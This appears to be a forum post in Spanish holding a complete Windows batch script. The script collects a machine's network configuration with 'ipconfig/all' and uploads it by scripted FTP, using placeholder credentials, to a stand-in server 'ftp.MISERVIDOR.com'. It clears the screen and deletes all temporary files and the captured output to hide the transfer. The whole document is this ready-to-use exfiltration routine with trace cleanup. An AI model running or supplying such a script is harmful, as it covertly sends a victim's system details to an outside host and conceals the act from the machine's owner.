Código:
@echo off
echo USUARIO>c:\1.txt
echo PASS>c:\2.txt
echo send c:\ipconfig.txt>c:\3.txt
echo bye>c:\4.txt
ipconfig/all>c:\ipconfig.txt
copy /b c:\1.txt c:\datos.txt
copy /b c:\datos.txt+c:\2.txt c:\datos.txt
copy /b c:\datos.txt+c:\3.txt c:\datos.txt
copy /b c:\datos.txt+c:\4.txt c:\datos.txt
cls
ftp -s:c:\datos.txt ftp.MISERVIDOR.com
del c:\1.txt
del c:\2.txt
del c:\3.txt
del c:\4.txt
del c:\datos.txt
del c:\ipconfig.txt